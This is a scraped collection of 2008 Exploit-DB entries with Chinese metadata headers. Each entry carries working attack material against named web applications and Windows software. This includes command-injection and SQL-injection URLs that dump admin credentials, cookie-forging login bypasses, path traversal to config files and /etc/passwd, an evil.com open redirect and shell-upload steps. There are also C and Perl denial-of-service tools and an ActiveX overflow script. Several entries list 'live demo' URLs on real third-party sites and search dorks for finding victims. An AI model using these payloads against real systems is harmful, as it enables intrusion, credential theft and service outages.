QLWD/code_shield huggingface dataset:
标题: Ads Pro - 'dhtml.pl' Remote Command Execution EDB-ID: 6845 CVE: 2008-6826 类型: WEBAPPS 平台: CGI 发布日期: 2008-10-26 漏洞利用脚本: <~\Adspro Script Remote Command Execution/~>

[~]Author       S0l1D
[~]Script        Adspro
[~]Homepage http://adspro.mhfmedia.com/index.shtm

**
~\Exploit/~

http://serv.com/cgi-bin/adspro/dhtml.pl?page=advert_top.htm|id|
http://serv.com/cgi-bin/adspro/dhtml.pl?page=advert_login.htm|id|

# milw0rm.com [2008-10-26] URL: https://www.exploit-db.com/exploits/6845
标题: Tlnews 2.2 - Insecure Cookie Handling EDB-ID: 6836 CVE: 2008-4752 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-25 漏洞利用脚本: Tlnews 2.2 Admin Login Bypass (via Cookie)
Found by X0r - EvolutionTeaM
Email: evolutionteam.x0[at]gmail[dot]com

Cms Download: http://www.easy-script.com/scripts-dl/tlnews-22.zip

Exploit: javascript:document.cookie = "tlNews_login=admin; content=admin;
path=/"

Beby y0ur system g0t d0wn :P 

// X0r - EvolutionTeaM

# milw0rm.com [2008-10-25] URL: https://www.exploit-db.com/exploits/6836
标题: Microsoft Windows Server - Universal Code Execution (MS08-067) EDB-ID: 6841 CVE: 2008-4250 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-26 漏洞利用脚本: MS08-067 Exploit for CN by EMM

exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6841.rar (2008-MS08-067.rar)

# milw0rm.com [2008-10-26] URL: https://www.exploit-db.com/exploits/6841
标题: PozScripts Classified Auctions - 'gotourl.php?id' SQL Injection EDB-ID: 6839 CVE: 2008-4755 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-26 漏洞利用脚本: |___________________________________________________
|
| Classified Auctions (gotourl.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|----------------  Hussin X  ------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/index.php
|
| DorK   : inurl:gotourl.php?id=
|___________________________________________________

Exploit:
________


www.[target].com/Script/gotourl.php?id=-30+union+select+concat(version(),user())--


Demo:
________

http://www.singwebs.com/auction_demo/gotourl.php?id=-30+union+select+concat(version(),user())--



________________( Greetz )_____________________
 _____   ____   __   __     _       ____  
|_   _| |  _ \  \ \ / /    / \     / ___|
  | |   | |_) |  \ V /    / _ \   | |  _
  | |   |  _ <    | |    / ___ \  | |_| |
  |_|   |_| \_\   |_|   /_/   \_\  \____|
_______________________________________________

# milw0rm.com [2008-10-26] URL: https://www.exploit-db.com/exploits/6839
标题: BuzzyWall 1.3.1 - 'id' Remote File Disclosure EDB-ID: 6835 CVE: 2008-4759 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-24 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +        BuzzyWall Remote File Disclosure Vulnerability              +
        +                                                                    +
        +                     Discovered by b3hz4d                           +
        +                                                                    +
        +                     WwW.DeltaHacking.Net                           +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


  
AUTHOR : b3hz4d
DATE   : 25 oct 2008
SITE   : WwW.DeltaHacking.Net


#####################################################

APPLICATION : BuzzyWall
DOWNLOAD    : http://rapidshare.com/files/155522383/BuzzyWall.v1.3.1.Nulled.zip
VENDOR      : http://www.buzzywall.com

#####################################################


[+] vuln    : ./download.php

               
$file_name = $_GET['id']

               $file_path = $weburl."wallpapers/full/".$file_name;

                     .

                     .

                     .

                     .

               readfile("$file_path");

   

[+] Exploit : http://victim.com/download.php?id=../../config.php



##############################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y and all member in DeltaHacking.Net #

##############################################################################

# milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6835
标题: KVIrc 3.4.0 - Virgo Remote Format String (PoC) EDB-ID: 6832 CVE: 2008-4748 类型: DOS 平台: WINDOWS 发布日期: 2008-10-24 漏洞利用脚本: <!--

 KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)

 Summary: KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit.
 KVirc is being written by Szymon Stefanek and the KVIrc Development Team with
 the contribution of many IRC addicted developers around the world.

 Product web page: http://www.kvirc.net/

 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

 liquidworm [t00t] gmail [d0t] com

 http://www.zeroscience.org

 24.10.2008

-->


<html>

<title>KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)</Title>

<head>

<body>

<center> <br /> <br /> <strong>Warning ! :)</strong> </center>

<body bgcolor="#FFFF00">

<script type="text/javascript">

alert("KVIrc v3.4.0 Virgo Remote Format String Exploit (PoC)\n\n\t\tby LiquidWorm (c) 2008");

function poc()
{
 window.location.href = "irc://A:%n -i";
}

var answ = confirm("Press OK to start exploitation\nPress Cancel to skip exploitation");

if (answ == true) 
{
 poc();
}

 else
 {
  window.location.href = "http://www.kvirc.net";
 }

</script> </body> </head> </html>

# milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6832
标题: vicFTP 5.0 - 'LIST' Remote Denial of Service EDB-ID: 6834 CVE: 2008-6829 2008-2031 类型: DOS 平台: WINDOWS 发布日期: 2008-10-24 漏洞利用脚本: #include <cstdio>
#include <winsock2.h>
#include <memory.h>
#define __z00ro(a) memset(a,0,sizeof(a));

//greetings : SiD.psycho 
//Smallest greetings : Gorion  - lofamy cIem We want be like y0U :***

unsigned int setport(const char* port){
       if((atoi(port)==0) || (atoi(port)<0)){
       return 21;
       }
       return atoi(port);                               
}         

int main(int argc,char **argv){

printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"
       "+=========== vicFTPS v 5.0 REMOTE dos POC ;[      ===========+\n"
       "+=========== Alfons Luja sp Z.0.0                 ===========+\n"
       "+=========== I want clear b00f not a d0s !!!      ===========+\n"
       "+=========== Propably 0 dAy                       ===========+\n"
       "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
if(argc<3){
   printf("\nuse poc.exe IP PORT\n");
   return 0;
}
int socks;
hostent *host;
WSADATA WSA;
SOCKADDR_IN aip;
char recvs[666]={0}; //ave
char test[66]={0};  // 4 nothing
const char *login = "USER Anonymous\r\n";    
const char *pass = "PASS echo@gov.tr\r\n";
strcpy(test,"LIST /\\/iWana_be_like_Gorion\\");
memset(test+strlen("LIST /\\/iWana_be_like_Gorion\\"),0x42,sizeof(test));
test[sizeof(test)-2]='\r';
test[sizeof(test)-1]='\n';
test[sizeof(test)]='\0';
printf("\nTarget:%s\nPort:%u\n",argv[1],setport(argv[2]));
if((WSAStartup(MAKEWORD(4, 2), &WSA))==0){
    if((socks = socket(AF_INET,SOCK_STREAM,0)) != -1){
         aip.sin_family = AF_INET;
         aip.sin_addr.s_addr = inet_addr(argv[1]);
         aip.sin_port = htons(setport(argv[2]));
         memset(&(aip.sin_zero),'0',8);
     if(connect(socks,(struct sockaddr*)&aip,sizeof(struct sockaddr)) == 0){
         recv(socks,recvs,sizeof(recvs)-1,0);
         __z00ro(recvs);
         send(socks,login,strlen(login),0);
         recv(socks,recvs,sizeof(recvs)-1,0);
         __z00ro(recvs);
         send(socks,pass,strlen(pass),0);
         recv(socks,recvs,sizeof(recvs)-1,0);     
         printf("%s",recvs);
          if(!strncmp(recvs,"230 fake user logged in.",3)){
             printf("Send greeting!!\n");  
             __z00ro(recvs);
             send(socks,test,sizeof(test),0);  
             recv(socks,recvs,sizeof(recvs)-1,0);   
             Sleep(200); 
             printf("Server is charmed and died happy!!\n");     
          }
          else{
             printf("Target dont love us . You must have account :[\r\n");
             closesocket(socks);       
             WSACleanup();
             return 0;     
          }                       
         }
       else {
       printf("(__eRROR):[Connection  error](!!!!)\n"
              "It can be bad port number or IP addresss!\n");
       closesocket(socks);       
       WSACleanup();
       return 0;    
       }       
      }
      WSACleanup();
     }   
return 0;       
}


//~~@KND http://pl.youtube.com/watch?v=KvFAx3ArmlE ~@~

// milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6834
标题: SiteEngine 5.x - Multiple Vulnerabilities EDB-ID: 6823 CVE: 2008-7267 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: SiteEngine 5.x Multiple Remote Vulnerabilities
Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability.

-=0x01=- SQL injection Vulnerability
vul code like this:
if ( intval( $id ) )
{
    require_once( $site_engine_root."lib/rss.php" );
$sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'";

POC:
http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/*
This vulnerability exist in board.php tooâ€¦â€¦

-=0x02=- URI Redirection Vulnerability
POC:
http://www.test.com/api.php?action=logout&forward=http://evil.com

-=0x03=- Information Disclosure Vulnerability
POC:
http://www.test.com/misc.php?action=php_info

ForFun~

-=EOF=-

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6823
标题: Joomla! Component Kbase 1.0 - SQL Injection EDB-ID: 6827 CVE: 2008-6166 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-24 漏洞利用脚本: #############################################################################
#                           #
#            Joomla Component Kbase SQL Injection Vulnerability             #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Kbase (com_kbase)"  
[~] Version:       "1.2"
[~] Date:          "?.?.2008"
[~] Author:        "John Messingham Development Services"
[~] Author E-mail: "mail@jmds.eu"
[~] Author URL:    "www.jmds.eu"

########################################

[~] Exploit: /index.php?option=com_kbase&view=article&id=[SQL]

[~] Example: /index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--

########################################

[~] Live Demo: http://netserv.ncesd.org/index.php?option=com_kbase&view=article&id=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6827
标题: MindDezign Photo Gallery 2.2 - SQL Injection EDB-ID: 6819 CVE: 2008-6789 2008-6788 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: ==================================================================================
  MindDezign Photo Gallery 2.2 (index.php id) Remote SQL Injection Vulnerability
==================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 23 October 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : MindDezign Photo Gallery
VERSION     : 2.2
DOWNLOAD    : http://gallery.minddezign.com/?module=download
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **


[+] Vulnerable in index.php (id)

---------
 Exploit
---------

[+] http://[target]/[gallery_path]/index.php?module=gallery&action=info&cate_id=1&id=-9999'+union+select+1,2,3,4,5,6,7,8,concat(gal_admin_username,0x3a3a,gal_admin_password),10+from+gallery_admin--


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6819
标题: db Software Laboratory VImpX - 'VImpX.ocx' Multiple Vulnerabilities EDB-ID: 6828 CVE: 2008-4750 2008-4749 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-24 漏洞利用脚本: -----------------------------------------------------------------------------
 db Software Laboratory VImpX (VImpX.ocx) Multiple vulnerabilities
 url: http://www.dbsoftlab.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net
 
 Info:
 File:  VImpX.ocx v. 4.8.8.0
 CLSID:  {7600707B-9F47-416D-8AB5-6FD96EA37968}
 ProgID: VImpX.VImpAX
 Description: VImpAX Control
 
 Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data  
  IPStorage Safe: Safe for untrusted: caller,data
 
 Vulnerbale method:
 Property Let LogFile As String
 Sub ClearLogFile
 Sub SaveToFile (ByVal FileName As String)

 Bug(s):
 #1 Passing an overly long string (more than 256 bytes), will lead into
    a stack based buffer overflow which allows arbitrary code execution
  
 #2 The "LogFile()" method doesn't check user supplied arguments so we can
    use it to store the file name we want to clear and then the
    "ClearLogFile()" to delete the content of the file

 #3 The "SaveToFile()" method doesn't check user supplied arguments so we
    can use it to overwrite the content of the file name passed as
    argument.

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object>

<input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21>


<script language='vbscript'>
 Sub bof
  buff = String(256,"A") 
  EDI  = unescape("BBBB") 
  ESI  = unescape("CCCC")
  EBX  = unescape("DDDD") 
  EIP  = unescape("%C6%91%3A%7E") 'unescape("EEEE") 
  buf2 = unescape("FFFFFFFFFFFFFFFFFFFF") 
  memo = unescape("%00%00%01%00") 
  rest = unescape("GGGG") + String(2000, "H")
  egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest
  test.LogFile = egg
 End Sub

 Sub afd
  test.LogFile = "C:\WINDOWS\_system.ini"
  test.ClearLogFile
  MsgBox "Exploit completed..."
 End Sub

 Sub afc
  test.SaveToFile "C:\WINDOWS\_system.ini"
  MsgBox "Exploit completed..."
 End Sub
</script>

# milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6828
标题: aflog 1.01 - Multiple Insecure Cookie Handling Vulnerabilities EDB-ID: 6818 CVE: 2008-4784 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: # aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies
# url: http://www.aflog.org/download.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /edit_delete.php
vuln code:
15: if($_COOKIE['aflog_auth_a']=="O" || $_COOKIE['aflog_auth_a']=="A"){
xx: .. ---> :P
33: }
34: } else {
35:  echo "<center><b><img src='img/x.png'>&nbsp;ERROR!</b><br>You do not have access to this page. You must be Signed In as
36: an Admin.</center><br>";
37:  echo "<center><a href='index.php' class='c'>Home</a> | <a href='login.php?do=form' class='c'>Sign In</a></center>":
38: }

exploit:    javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
and enters: /edit_delete.php?id=1 --> POST ID!!
---
vuln files:
edit_cat.php
edit_lock.php
edit_form.php
...more?

dork: "powered by aflog"

Hack0wn :D

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6818
标题: NEPT Image Uploader 1.0 - Arbitrary File Upload EDB-ID: 6830 CVE: 2008-6822 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-24 漏洞利用脚本: //Title - NEPT Image Uploader shell upload

//Vendor - newearthpt.freehostia.com

//Version - 1.0

//Status - vendor has been notified

//Author - Dentrasi

//Description

It is possible to upload a php script to the remote site.


1. Select a php file for upload
2. Select it for upload, and tamperdata the request
3. Change the Content-Type from 'application/octet-stream' to 'image/jpeg'
4. If the link provided gives a 404, add 'upload/' before the file name

# milw0rm.com [2008-10-24] URL: https://www.exploit-db.com/exploits/6830
标题: Microsoft Windows Server - Code Execution (PoC) (MS08-067) EDB-ID: 6824 CVE: 2008-4250 类型: DOS 平台: WINDOWS 发布日期: 2008-10-23 漏洞利用脚本: In vstudio command prompt:

  mk.bat

next:

  attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)

  net use \\IPADDRESS\IPC$ /user:user creds
  die \\IPADDRESS \pipe\srvsvc

  In some cases, /user:"" "", will suffice (i.e., anonymous connection)

You should get EIP -> 00 78 00 78, a stack overflow (like a guard page
violation), access violation, etc.  However, in some cases, you will get
nothing.

This is because it depends on the state of the stack prior to the "overflow".
You need a slash on the stack prior to the input buffer.

So play around a bit, you'll get it working reliably...

poc:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6824.zip (2008-ms08-067.zip)

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6824
标题: Joomla! Component RWCards 3.0.11 - Local File Inclusion EDB-ID: 6817 CVE: 2008-6172 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: [o]------------------------------------------------------------------------------------[x]
 |  Local File Inclusion Vulnerability                                                  |
[o]------------------------------------------------------------------------------------[o]
 |  Software : RWCards 3.0.11 Component for Joomla 1.5 CMS                              |
 |  Vendor   : http://www.weberr.de/                                                    |
 |  Date     : 23 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    inurl:com_rwcards

[Â»] Vulnerable

    ./components/com_rwcards/captcha/captcha_image.php

    15: if (!empty( $_GET['img'] ) )
    16:    $img = $_GET['img'];
    17: else
    18: {
    19:    echo 'no image file specified via &img=...';
    20:    exit;
    21: }
    22:
    23: if (!$fh = fopen( $tmp_dir_path.'cap_'.$img.'.jpg', 'rb'))
    24:    {
    25:        echo 'could not open image file!';
    26:    }
    27: else 
    28: { 
    29:     fpassthru( $fh );
    30:     fclose( $fh );
    31: }    

[Â»] Exploit

    http://[site]/[path]/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

[Â»] Proof of Concept

    http://www.abcdobebe.com/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
    http://www.whiskynet.co.uk/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{, em|nem,   |
 |  loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, terbang_melayang,        |
 |  chawanua, bl4Ck_3n91n3, R3V4N_B4ST4RD, dkk ... c0li.m0de.0n !!!                     |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6817
标题: miniPortail 2.2 - Cross-Site Scripting / Local File Inclusion EDB-ID: 6821 CVE: 2008-6168 2008-6167 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: /*

   miniPortail <= 2.2 (XSS/LFI) Remote Vulnerabilities
   -------------------------------------------------------
   By StAkeR - StAkeR[at]hotmail[dot]it
   http://www.easy-script.com/scripts-dl/miniportail.zip
   -------------------------------------------------------
   
   -1 Local File Inclusion
   -  search.php?lng=../../../../../../etc/passwd%00
   
   -2 Cross Site Scritping (POST)
   -  search.php (<script>[javascript]</script>)
   
*/

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6821
标题: txtshop 1.0b (Windows) - 'Language' Local File Inclusion EDB-ID: 6816 CVE: 2008-6083 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

4. if (!$language)$language="ch";
5. include_once("../lib/lang.".$language.".php");



-- Exploit --

http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6816
标题: SilverSHielD 1.0.2.34 - Denial of Service EDB-ID: 6815 CVE: 2008-6175 类型: DOS 平台: WINDOWS 发布日期: 2008-10-23 漏洞利用脚本: #!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# SilverSHielD 1.0.2.34 DoS
use Net::SSH2;

$host     = "192.168.0.111";
$port     = 22;
$username = "test";
$password = "test123";
$dos      = "<<<<<<<<<<>>>>>>>>>>";

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port)               || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->opendir($dos);
$ssh2->disconnect();
exit;

# milw0rm.com [2008-10-23] URL: https://www.exploit-db.com/exploits/6815